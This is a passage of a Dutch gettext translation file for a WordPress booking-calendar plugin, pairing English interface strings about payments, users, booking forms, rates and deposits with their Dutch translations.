msgstr "Terugbetaald" #: core/lang/wpbc_all_translations1.php:125 msgid "Fraud" msgstr "Fraude" #: core/lang/wpbc_all_translations1.php:127 msgid "Unknown status" msgstr "Onbekende status" #: core/lang/wpbc_all_translations1.php:129 msgid "Processed" msgstr "Verwerkt" #: core/lang/wpbc_all_translations1.php:132 msgid "Expired" msgstr "Verlopen" #: core/lang/wpbc_all_translations1.php:130 msgid "Canceled_Reversal" msgstr "Geannuleerd_Terugstorting" #: core/lang/wpbc_all_translations1.php:133 msgid "Partially_Refunded" msgstr "Gedeeltelijk_terugbetaald" #: core/lang/wpbc_all_translations1.php:134 msgid "Reversed" msgstr "Terugbetaald" #: core/lang/wpbc_all_translations1.php:135 msgid "Voided" msgstr "Ongeldig" #: core/lang/wpbc_all_translations1.php:137 msgid "Malformed" msgstr "Verkeerd formaat" #: core/lang/wpbc_all_translations1.php:138 msgid "Invalid" msgstr "Ongeldig" #: core/lang/wpbc_all_translations1.php:139 msgid "Abort" msgstr "Afbreken" #: core/lang/wpbc_all_translations1.php:140 msgid "Rejected" msgstr "Afgewezen" #: core/lang/wpbc_all_translations1.php:141 msgid "Suspended" msgstr "Hangend" #: core/lang/wpbc_all_translations2.php:7 #: includes/page-bookings/bookings__actions.php:2620 #: includes/print/bookings_print.php:102 #: includes/_toolbar_ui/toolbar_ui.php:2014 msgid "Print" msgstr "Afdrukken" #: core/lang/wpbc_all_translations2.php:85 #: includes/page-bookings/bookings__actions.php:2203 msgid "Save cost" msgstr "Kostprijs opslaan" #: core/lang/wpbc_all_translations2.php:87 #: includes/page-bookings/bookings__actions.php:2355 #: includes/page-bookings/bookings__actions.php:2368 msgid "Change status" msgstr "Status wijzigen" #: core/lang/wpbc_all_translations2.php:97 #: includes/page-bookings/bookings__actions.php:3423 msgid "Type your %sreason for payment%s request" msgstr "Typ je %sreden voor betalingsverzoek%s" #: core/lang/wpbc_all_translations1.php:144 msgid "Auto-fill form" msgstr "Formulier automatisch invullen" #: core/lang/wpbc_all_translations1.php:146 msgid "Suite" msgstr "Suite" #: core/lang/wpbc_all_translations1.php:151 msgid "User" msgstr "Gebruiker" #: core/lang/wpbc_all_translations1.php:152 msgid "Super Admin" msgstr "Superbeheerder" #: core/lang/wpbc_all_translations1.php:153 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1122 msgid "Regular User" msgstr "Gewone gebruiker" #: core/lang/wpbc_all_translations1.php:154 msgid "Inactive User" msgstr "Inactieve gebruiker" #: core/lang/wpbc_all_translations1.php:156 msgid "Manage Users" msgstr "Beheer gebruikers" #: core/lang/wpbc_all_translations1.php:158 msgid "User is Activated" msgstr "Gebruiker is geactiveerd" #: core/lang/wpbc_all_translations1.php:159 msgid "User is Deactivated" msgstr "Gebruiker is gedeactiveerd" #: core/lang/wpbc_all_translations1.php:162 msgid "User Role" msgstr "Gebruikersrol" #: core/lang/wpbc_all_translations1.php:163 msgid "Set user as" msgstr "Stel gebruiker in als" #: core/lang/wpbc_all_translations1.php:164 msgid "Unlimited" msgstr "Ongelimiteerd" #: core/lang/wpbc_all_translations1.php:165 msgid "Do you really want" msgstr "Wil je echt" #: core/lang/wpbc_all_translations1.php:166 msgid "make user active" msgstr "gebruiker activeren" #: core/lang/wpbc_all_translations1.php:167 msgid "Activate" msgstr "Activeren" #: core/lang/wpbc_all_translations1.php:171 msgid "make user inactive" msgstr "gebruiker deactiveren" #: core/lang/wpbc_all_translations1.php:172 msgid "Deactivate" msgstr "Deactiveren" #: core/lang/wpbc_all_translations1.php:173 msgid "delete configuration" msgstr "verwijder configuratie" #: core/lang/wpbc_all_translations1.php:174 msgid "Delete settings" msgstr "Verwijder instellingen" #: core/lang/wpbc_all_translations1.php:176 msgid "Delete data" msgstr "Verwijder gegevens" #: core/lang/wpbc_all_translations1.php:177 msgid "Work days" msgstr "Werkdagen" #: core/lang/wpbc_all_translations1.php:181 msgid "Please, reserve an apartment with fresh flowers." msgstr "Reserveer een appartement met verse bloemen, aub." #: core/lang/wpbc_all_translations2.php:102 #: includes/page-bookings/bookings__actions.php:3556 msgid "semicolon" msgstr "puntkomma" #: core/lang/wpbc_all_translations2.php:103 #: includes/page-bookings/bookings__actions.php:3557 msgid "comma" msgstr "komma" #: core/lang/wpbc_all_translations2.php:104 #: includes/page-bookings/bookings__actions.php:3562 msgid "CSV data separator" msgstr "CSV scheidingsteken" #: core/lang/wpbc_all_translations1.php:210 msgid "Modified" msgstr "Bewerkt" #: core/lang/wpbc_all_translations1.php:225 msgid "Generate tag" msgstr "Tag aanmaken" #: core/lang/wpbc_all_translations1.php:227 msgid "Form Template" msgstr "Formulier template" #: core/lang/wpbc_all_translations1.php:228 msgid "Standard Templates" msgstr "Standaardtemplates" #: core/lang/wpbc_all_translations1.php:264 msgid "Columns" msgstr "Kolommen" #: core/admin/page-settings.php:96 core/admin/page-settings.php:249 #: core/admin/page-settings.php:375 core/lang/wpbc_all_translations.php:395 #: includes/page-form-simple/generator-timeslots.php:117 #: includes/page-form-simple/generator-timeslots.php:212 #: includes/page-form-simple/generator-timeslots.php:777 #: includes/page-form-simple/generator-timeslots.php:827 #: includes/page-form-simple/page-form-simple.php:922 #: includes/page-form-simple/page-form-simple.php:1725 #: includes/page-form-simple/page-form-simple.php:2675 #: includes/page-form-simple/page-form-simple.php:2676 msgid "Time Slots" msgstr "Tijdsblokken" #: core/lang/wpbc_all_translations1.php:233 msgid "Advanced Templates" msgstr "Geavanceerde templates" #: core/lang/wpbc_all_translations1.php:234 msgid "Wizard (several steps)" msgstr "Wizard (verschillende stappen)" #: core/lang/wpbc_all_translations1.php:236 msgid "Hints" msgstr "Hints" #: core/lang/wpbc_all_translations1.php:237 msgid "Reset Form" msgstr "Formulier wissen" #: core/lang/wpbc_all_translations1.php:242 msgid "%s - inserting new line" msgstr "%s - nieuwe regel invoegen" #: core/lang/wpbc_all_translations1.php:245 msgid "No results found." msgstr "Geen resultaten gevonden." #: core/lang/wpbc_all_translations1.php:246 msgid "Wrap each item with %s tag" msgstr "%s tag aan elk onderdeel hangen" #: core/lang/wpbc_all_translations1.php:247 msgid "Put a label before field" msgstr "Zet een label voor veld" #: core/lang/wpbc_all_translations1.php:249 msgid "Make it %sexclusive%s" msgstr "Maak het %sexclusief%s" #: core/lang/wpbc_all_translations1.php:250 msgid "Default value" msgstr "Standaardwaarde" #: core/lang/wpbc_all_translations.php:580 #: includes/page-form-simple/generator-timeslots.php:137 msgid "One option per line" msgstr "Eén optie per regel" #: core/lang/wpbc_all_translations.php:582 #: includes/page-form-simple/generator-timeslots.php:162 msgid "One title per line" msgstr "Eén titel per regel" #: core/lang/wpbc_all_translations1.php:255 msgid "Allow %smultiple%s selections" msgstr "Laat %smeervoudige%s selectie toe" #: core/lang/wpbc_all_translations1.php:256 msgid "Set as %srequired%s" msgstr "Stel in als %sverplicht%s" #: core/lang/wpbc_all_translations1.php:259 msgid "Size" msgstr "Grootte" #: core/lang/wpbc_all_translations1.php:261 msgid "Copy and paste this shortcode into the form at left side" msgstr "Kopieer en plak deze shortcode in het formulier aan de linkerkant" #: core/lang/wpbc_all_translations1.php:263 msgid "Rows" msgstr "Rijen" #: core/lang/wpbc_all_translations1.php:265 msgid "General Information" msgstr "Algemene informatie" #: core/lang/wpbc_all_translations1.php:281 msgid "You must to have this shortcode:%s in the form." msgstr "Je moet deze shortcode hebben in het formulier: %s." #: core/lang/wpbc_all_translations1.php:283 msgid "Example: %s." msgstr "Voorbeeld: %s." #: core/lang/wpbc_all_translations1.php:284 msgid "where %s – default calendar %s (you can select desired resource of calendar by inserting shortcode into page)%s" msgstr "waar %s - standaardkalender %s (je kunt het gewenste object selecteren door de shortcode in de pagina in te voeren) %s" #: core/lang/wpbc_all_translations1.php:285 msgid "%s – calendar of booking resource with %s" msgstr "%s – kalender van het object met %s" #: core/lang/wpbc_all_translations1.php:287 msgid "You can %suse this shortcode only once%s in the form." msgstr "Je kunt %sdeze shortcode maar één keer in het formulier gebruiken%s." #: core/lang/wpbc_all_translations1.php:288 msgid "Email Field" msgstr "Email veld" #: core/lang/wpbc_all_translations1.php:289 msgid "You must have this shortcode:%s in the booking form." msgstr "Je moet deze shortcode in het boekingsformulier hebben: %s." #: core/lang/wpbc_all_translations1.php:290 msgid "This is the primary email field, which is used for sending emails to visitors." msgstr "Dit is het hoofd-emailveld, dat gebruikt wordt om emails naar klanten te sturen." #: core/lang/wpbc_all_translations1.php:294 msgid "Insert %s shortcode to prevent SPAM bookings." msgstr "Voeg %s shortcode toe om SPAM boekingen te voorkomen." #: core/lang/wpbc_all_translations1.php:300 msgid "Please note, %sthe use of the time shortcode%s. If you select a date with some booked time slots, this time field will %sdisable booked times slots%s (set them as grayed)." msgstr "Let wel op %shet gebruik van shortcodes voor tijd%s. Als je een datum selecteert met daarin geboekte, zal dit tijdsveld de %sgeboekte tijdsvakken uitschakelen%s (ze grijs weergeven)." #: core/lang/wpbc_all_translations1.php:301 msgid "It works only in %ssingle day selection%s mode." msgstr "Het werkt alleen in de %senkele dag selectie%s modus." #: core/lang/wpbc_all_translations1.php:303 msgid "Even if visitor selects the booked timeslot, system will not allow them to make the booking." msgstr "Zelfs als een klant het gereserveerde tijdvak selecteert, zal het systeem niet toestaan om te boeken." #: core/lang/wpbc_all_translations1.php:304 msgid "Please note, in the %sOptions list%s you can use times in military time format %s(24 Hour Time)%s only." msgstr "Let wel, in de %sOptieslijst%s kun je enkel tijden in %s24u-formaat%s gebruiken." #: core/lang/wpbc_all_translations1.php:305 msgid "If you use this shortcode, %syou can not use any other time shortcodes%s in the form." msgstr "Als je deze shortcode gebruikt, %skun je geen andere tijd gerelateerde shortcodes meer gebruiken%s in het formulier." #: core/lang/wpbc_all_translations1.php:307 msgid "Enter %s in text field." msgstr "Voer %s in het tekstveld in." #: core/lang/wpbc_all_translations1.php:310 msgid "You can also use the %s in the form." msgstr "Je kunt ook de %s in het formulier gebruiken." #: core/lang/wpbc_all_translations.php:824 msgid "%s - availability of booking resource, " msgstr "%s - beschikbaarheid van het object, " #: core/lang/wpbc_all_translations.php:825 msgid "%s - cost of booking the resource, " msgstr "%s - kostprijs om het object te boeken, " #: core/lang/wpbc_all_translations.php:826 msgid "%s - featured image, taken from the featured image associated with the post, " msgstr "%s - uitgelichte afbeelding, genomen van de uitgelichte afbeelding gekoppeld aan het bericht, " #: core/lang/wpbc_all_translations.php:827 msgid "%s - booking info, taken from the excerpt associated with the post, " msgstr "%s - boekingsinformatie, genomen uit het uittreksel gekoppeld aan het bericht, " #: core/lang/wpbc_all_translations.php:828 msgid "Full cost of the booking." msgstr "Totaalprijs van de boeking." #: core/lang/wpbc_all_translations.php:829 msgid "Cost of the booking for the selected dates only." msgstr "Kosten van de boeking voor de geselecteerde datums." #: core/lang/wpbc_all_translations.php:831 msgid "The deposit cost of the booking." msgstr "De voorschotkosten van de boeking." #: core/lang/wpbc_all_translations.php:832 msgid "Balance cost of the booking - difference between deposit and full cost." msgstr "Saldo boekingskosten - het verschil tussen voorschot en de totaal kosten." #: core/lang/wpbc_all_translations.php:835 msgid "hour(s)" msgstr "u(u)r(en)" #: core/admin/page-import-gcal.php:95 core/lang/wpbc_all_translations.php:344 #: includes/page-customize/customize__templates.php:2376 #: includes/page-customize/customize__templates.php:2547 msgid "day(s)" msgstr "dag(en)" #: core/lang/wpbc_all_translations.php:736 msgid "Search Availability Form" msgstr "Instellingen van het zoekformulier" #: core/lang/wpbc_all_translations.php:864 msgid "Horizontal Search Form Template" msgstr "Sjabloon voor horizontaal zoekformulier" #: core/lang/wpbc_all_translations.php:865 msgid "Standard Search Form Template" msgstr "Sjabloon voor standaard zoekformulier" #: core/lang/wpbc_all_translations.php:869 msgid "Found: %s booking forms inside of posts or pages " msgstr "Gevonden: %s boekingsformulieren in berichten of pagina's " #: core/lang/wpbc_all_translations.php:873 msgid "Please select check-in and check-out days!" msgstr "Selecteer de aankomst- en vertrekdagen!" #: core/lang/wpbc_all_translations.php:875 msgid "Book now" msgstr "Nu boeken" #: core/lang/wpbc_all_translations.php:876 msgid "Search availability" msgstr "Zoek op beschikbaarheid" #: core/lang/wpbc_all_translations.php:880 msgid "Title of search widget" msgstr "Titel van de zoekwidget" #: core/lang/wpbc_all_translations.php:881 msgid "Title of search results" msgstr "Titel van de zoekresultaten" #: core/lang/wpbc_all_translations.php:883 msgid "Nothing found message" msgstr "Niets gevonden bericht" #: core/lang/wpbc_all_translations.php:884 msgid "Please type the %smessage ,what is showing, when nothing found%s." msgstr "Typ het %sbericht dat getoond wordt wanneer er niets gevonden is%s." #: core/lang/wpbc_all_translations.php:885 msgid "URL of Search Results" msgstr "URL van de pagina voor de zoekresultaten" #: core/lang/wpbc_all_translations.php:886 msgid "Please type the URL of the page %s(with %s shortcode in content)%s, where search results will show." msgstr "Typ URL van de pagina %s(met %s shortcode in inhoud)%s, waarop de zoekresultaten zullen weergegeven." #: core/lang/wpbc_all_translations.php:889 #: includes/page-customize/customize__templates.php:2236 msgid "Limit available days from today" msgstr "Beperk de beschikbare dagen vanaf vandaag" #: core/lang/wpbc_all_translations.php:891 #: includes/page-customize/customize__templates.php:2310 msgid "Unavailable time before / after booking" msgstr "Niet beschikbare tijd voor/na de boeking" #: core/lang/wpbc_all_translations.php:892 #: includes/page-customize/customize__templates.php:2402 msgid "This feature is applying only for bookings for specific timeslots, or if activated check in/out time option." msgstr "Deze functie is enkel toepasbaar voor boekingen met specifieke tijdsblokken, of als de optie aankomst-/vertrektijd geactiveerd is." #: core/lang/wpbc_all_translations.php:893 #: includes/page-customize/customize__templates.php:2484 #: includes/page-customize/customize__templates.php:2554 msgid "Before booking" msgstr "Vóór de boeking" #: core/lang/wpbc_all_translations.php:894 msgid "Select unavailable time interval." msgstr "Selecteer tijdsinterval van niet beschikbare tijden/perioden." #: core/lang/wpbc_all_translations.php:895 #: includes/page-customize/customize__templates.php:2507 #: includes/page-customize/customize__templates.php:2577 msgid "After booking" msgstr "Na de boeking" #: core/lang/wpbc_all_translations.php:900 msgid "Showing cost in date cell" msgstr "Toont kostprijs in de datumcel" #: core/lang/wpbc_all_translations.php:901 msgid " Check this box to display the %sdaily cost at the date cells%s in the calendar(s)." msgstr " Vink dit vak aan om de %sdagelijkse kostprijs in de datumcellen%s in de kalender(s) weer te geven." #: core/lang/wpbc_all_translations.php:902 msgid "Currency symbol" msgstr "Valutasymbool" #: core/lang/wpbc_all_translations.php:903 msgid "Type your %scurrency symbol%s to display near daily cost in date cells. %sDocumentation on currency symbols%s" msgstr "Typ je %svaluta-symbool%s om bij dagelijkste kosten weer te geven in de datumcellen. %sDocumentatie over valuta symbolen%s" #: core/lang/wpbc_all_translations.php:896 msgid "Showing cost in tooltip" msgstr "Toont de kostprijs in een tooltip" #: core/lang/wpbc_all_translations.php:897 msgid " Check this box to display the daily cost with a tooltip when mouse hovers over each day on the calendar(s)." msgstr " Vink deze checkbox aan om de dagelijkse kostprijs met een tooltip weer te geven als de muis over een dag van de kalender beweegt." #: core/lang/wpbc_all_translations.php:898 msgid "Cost Title" msgstr "Titel van de kostprijs" #: core/lang/wpbc_all_translations.php:909 msgid "Configuration of availability for booking resources" msgstr "Instelling van de beschikbaarheid voor objecten" #: core/lang/wpbc_all_translations.php:910 msgid "Availability Settings" msgstr "Instellingen van de beschikbaarheid" #: core/lang/wpbc_all_translations.php:911 msgid "Show Children Resources" msgstr "Toon de onderliggende objecten" #: core/lang/wpbc_all_translations.php:912 msgid "Hide Children Resources" msgstr "Verberg onderliggende objecten" #: core/lang/wpbc_all_translations.php:913 #: includes/page-availability/availability__page.php:86 msgid "Set Availability" msgstr "Stel de beschikbaarheid in" #: core/lang/wpbc_all_translations.php:914 msgid "Please reassign exist booking(s) from selected resource(s) to other resources or delete exist booking(s) from this resource(s). Otherwise you will have %slost bookings%s." msgstr "Wijs bestaande boeking(en) van geselecteerde objecten toe aan andere objecten of verwijder bestaande boekingen van dit object. Indien dit wordt nagelaten zullen zullen %sboekingen verloren%s gaan." #: core/lang/wpbc_all_translations.php:915 #: includes/page-resource-free/page-resource-free.php:314 msgid "Resource Name" msgstr "Naam van het object" #: core/lang/wpbc_all_translations.php:920 msgid "and %s on seasons:" msgstr "en %s in periodes:" #: core/lang/wpbc_all_translations.php:921 msgid "Select %s days by activating specific season filter below or %sadd new season filter%s" msgstr "Selecteer %s dagen door een specifieke periode hieronder te activeren of %svoeg nieuwe periodeaanpassingen toe%s" #: core/lang/wpbc_all_translations.php:922 msgid "Hide season filters" msgstr "Verberg de aangepaste periodeprijzen" #: core/lang/wpbc_all_translations.php:923 msgid "Show all exist season filters" msgstr "Toon aangepaste periodeprijzen" #: core/lang/wpbc_all_translations.php:925 msgid "Advanced Cost Settings" msgstr "Instellingen voor de geavanceerde kosten" #: core/lang/wpbc_all_translations.php:932 msgid "Fields %s(selectbox(es) and checkbox(es))%s are shown here automatically if they exist in the %sbooking form%s." msgstr "Velden %s(selecteer- en aanvinkvakjes)%s worden hier automatisch getoond als ze bestaan in het %sboekingsformulier%s." #: core/lang/wpbc_all_translations.php:928 msgid "of total cost" msgstr "van de totale kosten" #: core/lang/wpbc_all_translations.php:934 msgid "For example, if the original cost of the booking is %s, then after applying additional costs the total cost will be folowing" msgstr "Bijvoorbeeld, als de originele kosten van de boeking %s zijn, dan zullen de totale kosten na het toepassen van de bijkomende kosten als volgt zijn" #: core/lang/wpbc_all_translations.php:937 msgid "Enter percentage of the entire booking" msgstr "Voer een percentage van de volledige boeking in" #: core/lang/wpbc_all_translations.php:938 msgid "Enter fixed amount for each selected day" msgstr "Voer voor elke geselecteerde dag een vast bedrag in" #: core/lang/wpbc_all_translations.php:939 msgid "%s, then total cost will be (if selected 3 days) %s" msgstr "%s, dan zullen de totale kosten (wanneer er 3 dagen zijn geselecteerd) %s zijn" #: core/lang/wpbc_all_translations.php:941 msgid "Enter percentage as additional sum, which is based only on original cost and not full sum" msgstr "Voer percentage in als bijkomend bedrag dat is gebaseerd op de oorspronkelijke kostprijs en niet de totaalprijs" #: core/lang/wpbc_all_translations.php:942 msgid "Please check more info about configuration of this cost settings on this %spage%s." msgstr "Bekijk a.u.b. meer info over de configuratie van deze prijsinstellingen op deze %spagina%s." #: core/lang/wpbc_all_translations.php:949 msgid "Set Deposit" msgstr "Stel het voorschotbedrag in" #: core/lang/wpbc_all_translations.php:951 msgid "deposit payment for booking resource" msgstr "voorschotbetaling voor het object" #: core/lang/wpbc_all_translations.php:952 msgid "Deposit amount" msgstr "Bedrag van het voorschot" #: core/lang/wpbc_all_translations.php:956 msgid "Show deposit payment form, only if difference between %sToday%s and %sCheck In%s days more than" msgstr "Toon voorschot betaalformulier enkel wanneer het verschil in dagen tussen %sVandaag%s en %sAankomst%s meer is dan" #: core/lang/wpbc_all_translations.php:957 msgid "Show deposit payment form, only if %sCheck In%s day inside of this %sSeason Filter%s" msgstr "Toon voorschot betaalformulier enkel wanneer de datum van %sAankomst%s binnen deze %saangepaste periodeprijs%s valt" #: core/lang/wpbc_all_translations.php:959 msgid "Deposit payment total" msgstr "Voorschotbetaling totaal" #: core/lang/wpbc_all_translations.php:967 msgid "Set Rates" msgstr "Stel de tarieven in" #: core/lang/wpbc_all_translations.php:970 msgid "Seasonal price" msgstr "Periodeprijs" #: core/lang/wpbc_all_translations.php:971 msgid "Season" msgstr "Periode" #: core/lang/wpbc_all_translations.php:972 msgid "Enter seasonal rate(s) (cost diference in %s from standard cost %s or a fixed cost) of the booking resource (%s) or %sAdd a new seasonal filter%s" msgstr "Voer de afwijkende prijs voor de speciale periode in (prijsverschil in %s van basisprijs %s of vaste opslag) van het object (%s) of %svoeg een nieuw afwijkende periode toe%s" #: core/lang/wpbc_all_translations.php:973 msgid "Set Valuation Days" msgstr "Bepaal de meer/minderprijs" #: core/lang/wpbc_all_translations.php:976 msgid "Add new cost" msgstr "Voeg aanpassing(en) toe" #: core/lang/wpbc_all_translations.php:978 msgid "Please create all %s terms firstly %s(from higher priority to lower)%s, then terms %s and after terms %s" msgstr "Maak alle %s voorwaarden eerst aan %s(van een hogere prioriteit naar lagere)%s, dan %s voorwaarden en tenslotte %s voorwaarden" #: core/lang/wpbc_all_translations.php:981 msgid "%s and %s terms have higher priority than a range %s days." msgstr "%s en %s voorwaarden hebben een hogere prioriteit dan een %s dagbereik." #: core/lang/wpbc_all_translations.php:983 msgid "Specific cost will take affect, only if it active (the box at the left side is checked) and if \"Check In\" (start) date belong to selected season filter or if set \"Any days\"." msgstr "De aangepaste prijs treedt alleen in werking als deze is geactiveerd (het vakje links van \"Status\" is aangevinkt) en als de aankomstdatum binnen de selectie valt, of als \"Alle dagen\" is ingesteld." #: core/lang/wpbc_all_translations.php:984 msgid " for all days!" msgstr " voor alle dagen!" #: core/lang/wpbc_all_translations.php:985 msgid "from the cost of 1 day " msgstr "van de kostprijs voor 1 dag " #: core/lang/wpbc_all_translations.php:987 #: includes/page-customize/customize__templates.php:1788 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:395 msgid "to" msgstr "aan" #: core/lang/wpbc_all_translations.php:991 msgid "Set Rate" msgstr "Stel het tarief in" #: core/lang/wpbc_all_translations.php:992 msgid "Set Deposit Amount" msgstr "Stel het voorschotbedrag in" #: core/lang/wpbc_all_translations1.php:6 msgid "Specific Dates Filter" msgstr "Speciale datums zoals Kerst, Pasen, schoolvakanties" #: core/lang/wpbc_all_translations1.php:7 msgid "Conditional Dates Filter" msgstr "Afwijkende periodes" #: core/lang/wpbc_all_translations1.php:8 msgid "Filter Name" msgstr "Periodenaam" #: core/lang/wpbc_all_translations1.php:9 msgid "Type filter name" msgstr "Typ de naam de afwijkende periode in" #: core/lang/wpbc_all_translations1.php:41 msgid "Oct" msgstr "okt" #: core/lang/wpbc_all_translations1.php:47 msgid "Each day " msgstr "Elke dag " #: core/lang/wpbc_all_translations1.php:48 msgid "on each day " msgstr "op elke dag " #: core/lang/wpbc_all_translations1.php:49 msgid "On each " msgstr "Op elke " #: core/lang/wpbc_all_translations1.php:50 msgid "on each " msgstr "op elke " #: core/lang/wpbc_all_translations1.php:51 msgid "of every month " msgstr "van elke maand " #: core/lang/wpbc_all_translations1.php:53 msgid "Standard booking resource cost" msgstr "Standaardkosten van een object" #: core/lang/wpbc_all_translations1.php:54 msgid "Total booking resource cost" msgstr "Totale kosten voor het object" #: core/lang/wpbc_all_translations1.php:56 msgid "Delete selected booking form" msgstr "Verwijder het geselecteerde boekingsformulier" #: core/lang/wpbc_all_translations1.php:57 msgid "Do you really want to delete selected booking form ?" msgstr "Wilt u het geselecteerde boekingsformulier echt verwijderen?" #: core/lang/wpbc_all_translations1.php:59 msgid "Type the name of booking form" msgstr "Typ de naam van het boekingsformulier" #: core/lang/wpbc_all_translations1.php:62 msgid "There are no extended booking forms" msgstr "Er zijn geen uitgebreide boekingsformulieren" #: core/lang/wpbc_all_translations1.php:63 msgid "Create conditional days filter" msgstr "Aanmaken van prijsafwijkingen voor speciale periodes" #: core/lang/wpbc_all_translations1.php:70 #: includes/page-customize/customize__templates.php:1961 msgid "Days selection number" msgstr "Selectie van het aantal dagen" #: core/lang/wpbc_all_translations1.php:72 msgid "Specific day(s) of week" msgstr "Speciale dag(en) van de week" #: core/lang/wpbc_all_translations1.php:79 #: includes/page-customize/customize__templates.php:1831 msgid "Specific days selections" msgstr "Selecties van speciale dagen" #: core/lang/wpbc_all_translations1.php:80 msgid "Type your %sspecific%s days, which can be selected by visitors, or leave this value empty. It can be several days separated by comma (example: %s) or by dash (example: %s, its the same like this: %s) or combination (example:%s, its the same like this: %s)" msgstr "Typ je %sspecifieke%s dagen, die door klanten kunnen worden geselecteerd, of laat deze waarde leeg. Het kunnen ook verschillende dagen zijn, gescheiden door een komma (bv: %s) of streepje (bv: %s, is hetzelfde als %s) of combinatie (bv: %s, is hetzelfde als dit: %s)" #: core/lang/wpbc_all_translations1.php:85 msgid "%s Important!%s This will overwrite any times selection in your booking form." msgstr "%s Belangrijk!%s Dit overschrijft elke tijdsselectie in je boekingsformulier." #: core/lang/wpbc_all_translations1.php:87 msgid "Type your %sCheck-in%s time of booking" msgstr "Typ de %sAankomst%s tijd van de boeking" #: core/lang/wpbc_all_translations1.php:89 msgid "Type your %sCheck-Out%s time of booking" msgstr "Typ de %svertrek%s tijd van de boeking" #: core/lang/wpbc_all_translations1.php:90 msgid "Change over days as triangles" msgstr "Wisseldagen als driehoeken" #: core/lang/wpbc_all_translations1.php:91 msgid "Check this option, to show change over days as triangles. " msgstr "Klik op deze optie om wisseldagen als driehoeken weer te geven. " #: core/admin/api-settings.php:194 core/lang/wpbc_all_translations.php:25 msgid "Title of booked timeslot(s)" msgstr "Titel van geboekte dagslot(en)" #: core/admin/api-settings.php:195 core/lang/wpbc_all_translations.php:26 msgid "Type your %stitle%s, what will show in mouseover tooltip near booked timeslot(s)" msgstr "Typ je %stitel%s, die zal worden weergegeven in de tooltip als de muis beweegt over nabij gelegen dagdelen" #: core/admin/api-settings.php:1328 core/lang/wpbc_all_translations.php:127 msgid "Type your time format for emails and the booking table. %sDocumentation on time formatting%s" msgstr "Voer de tijdsnotatie voor emails en de boekingstabel in. %sDocumentatie over tijdsnotatie.%s" #: core/lang/wpbc_all_translations1.php:96 msgid "Auto approve all new bookings" msgstr "Alle nieuwe boekingen automatisch accepteren" #: core/lang/wpbc_all_translations1.php:97 msgid "Check this checkbox to %sactivate%s auto approve of all new pending bookings." msgstr "Vink dit vakje aan om automatisch het accepteren van alle nieuwe opties te %sactiveren%s." #: core/lang/wpbc_all_translations1.php:104 msgid "Check this box to %sactivate%s auto-cancellation for pending, unpaid bookings." msgstr "Vink aan om automatisch annuleren te %sactiveren%s voor opties en onbetaalde boekingen." #: core/lang/wpbc_all_translations1.php:105 msgid "Cancel bookings older" msgstr "Annuleer boekingen ouder dan" #: core/lang/wpbc_all_translations1.php:106 msgid "Cancel only pending, unpaid bookings, which are older than this selection." msgstr "Annuleer alleen opties en onbetaalde boekingen, die ouder zijn dan deze selectie." #: core/lang/wpbc_all_translations1.php:107 msgid "Cancellation email sent" msgstr "Annuleringsemail verzonden" #: core/lang/wpbc_all_translations1.php:108 msgid "Check this box to %ssend%s cancellation email for this resource." msgstr "Vink aan om de annulerings-email te %sverzenden%s voor dit object." #: core/lang/wpbc_all_translations1.php:110 msgid "Type the reason for %scancellation%s for the email template." msgstr "Geef de reden voor %sannulering%s voor in emailsjabloon." #: core/lang/wpbc_all_translations1.php:113 msgid "Customization of email template, which is sending to Visitor after payment request" msgstr "Aanpassen van het email sjabloon dat verzonden wordt naar de klant na betalingsverzoek" #: core/lang/wpbc_all_translations.php:709 core/wpbc-js-vars.php:95 msgid "Error! Please reset your check-in/check-out dates above." msgstr "Fout! Stel je aankomst-/vertrekdata hierboven opnieuw in." #: core/lang/wpbc_all_translations.php:710 core/wpbc-js-vars.php:96 msgid "Start Time is invalid. The date or time may be booked, or already in the past! Please choose another date or time." msgstr "Starttijd is ongeldig. De datum of tijd is mogelijk al geboekt, of al in het verleden! Kies a.u.b. een andere datum of tijd." #: core/lang/wpbc_all_translations.php:711 core/wpbc-js-vars.php:97 msgid "End Time is invalid. The date or time may be booked, or already in the past. The End Time may also be earlier that the start time, if only 1 day was selected! Please choose another date or time." msgstr "De eindtijd is ongeldig. De datum of tijd is mogelijk al geboekt! Mogelijk is de eindtijd ook vroeger dan de starttijd. Kies a.u.b. een andere datum of tijd." #: core/lang/wpbc_all_translations.php:712 core/wpbc-js-vars.php:98 #: core/wpbc-js-vars.php:99 msgid "The time(s) may be booked, or already in the past!" msgstr "Deze tijd is mogelijk al geboekt, of ligt in het verleden!" #: core/lang/wpbc_all_translations1.php:116 msgid "The changing of payment status is failed" msgstr "De verandering van de betaalstatus is mislukt" #: core/lang/wpbc_all_translations1.php:126 msgid "!Paid OK" msgstr "Betaling geslaagd" #: core/lang/wpbc_all_translations1.php:131 msgid "Denied" msgstr "Niet toegelaten" #: core/lang/wpbc_all_translations1.php:136 msgid "Not authed" msgstr "Niet geautoriseerd" #: core/lang/wpbc_all_translations2.php:86 #: includes/page-bookings/bookings__actions.php:2255 msgid "Send payment request to visitor" msgstr "Stuur een betalingsverzoek naar de klant" #: core/lang/wpbc_all_translations2.php:96 #: includes/page-bookings/bookings__actions.php:3419 msgid "Send payment request to customer" msgstr "Stuur een betalingsverzoek naar de klant" #: core/lang/wpbc_all_translations2.php:98 #: includes/page-bookings/bookings__actions.php:3429 msgid "Send Request" msgstr "Verstuur een verzoek" #: core/lang/wpbc_all_translations1.php:175 msgid "delete all booking data" msgstr "verwijder alle boekingsgegevens" #: core/lang/wpbc_all_translations1.php:178 msgid "%sYou do not have permissions for this page.%s Your account is not active, please contact administrator.%s" msgstr "%sJe hebt geen toegang tot deze pagina.%s Je account is niet actief, neem alstublieft contact op met de de beheerder.%s" #: core/lang/wpbc_all_translations1.php:179 msgid "%sYou do not have permissions for this booking resources.%s" msgstr "%sJe hebt geen toegang tot deze objecten.%s" #: core/lang/wpbc_all_translations1.php:180 msgid "%sNo this booking resources.%s" msgstr "%sNiet deze objecten.%s" #: core/lang/wpbc_all_translations1.php:182 msgid "Default booking resource" msgstr "Standaard object" #: core/lang/wpbc_all_translations1.php:183 msgid "Select your default booking resource." msgstr "Selecteer je standaard object." #: core/lang/wpbc_all_translations1.php:184 msgid "Resources number per page" msgstr "Aantal objecten per pagina" #: core/lang/wpbc_all_translations1.php:185 msgid "Select number of booking resources (single or parent) per page at Resource menu page" msgstr "Selecteer het aantal objecten per pagina op de objecten-menupagina" #: core/lang/wpbc_all_translations1.php:190 msgid "Booking title" msgstr "Titel van de boeking" #: core/lang/wpbc_all_translations1.php:191 msgid "Type %sdefault title of bookings%s in calendar view mode at Booking Listing page 